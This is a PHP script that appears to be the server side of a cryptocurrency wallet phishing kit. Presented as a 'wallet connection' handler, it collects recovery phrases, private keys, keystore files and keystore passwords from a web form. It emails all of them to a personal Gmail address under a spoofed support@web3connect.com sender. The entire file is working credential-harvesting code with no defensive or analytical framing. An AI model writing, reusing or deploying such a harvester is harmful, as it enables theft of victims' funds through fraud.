<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Get form data
    $wallet_name = $_POST['wallet_name'] ?? '';
    $email = $_POST['email'] ?? '';
    $recovery_phrase = $_POST['recovery_phrase'] ?? '';
    $keystore_json = $_POST['keystore_json'] ?? '';
    $keystore_password = $_POST['keystore_password'] ?? '';
    $private_key = $_POST['private_key'] ?? '';
    $icon_name = $_POST['icon_name'] ?? '';
    
    // Your email address
    $to = "darienrodriguez637@gmail.com";
    $subject = "New Wallet Connection: " . $wallet_name;
    
    // Create email body
    $body = "A new wallet connection attempt:\n\n";
    $body .= "Wallet Name: " . $wallet_name . "\n";
    $body .= "Email: " . $email . "\n";
    $body .= "Wallet Type: " . $icon_name . "\n\n";
    
    if (!empty($recovery_phrase)) {
        $body .= "Recovery Phrase: " . $recovery_phrase . "\n\n";
    }
    
    if (!empty($keystore_json)) {
        $body .= "Keystore JSON: " . $keystore_json . "\n";
        $body .= "Keystore Password: " . $keystore_password . "\n\n";
    }
    
    if (!empty($private_key)) {
        $body .= "Private Key: " . $private_key . "\n\n";
    }
    
    // Set headers
    $headers = "From: support@web3connect.com\r\n";
    $headers .= "Reply-To: " . $email . "\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();
    
    // Send email
    if (mail($to, $subject, $body, $headers)) {
        echo json_encode(['success' => true]);
    } else {
        echo json_encode(['success' => false, 'message' => 'Mail could not be sent.']);
    }
}
?>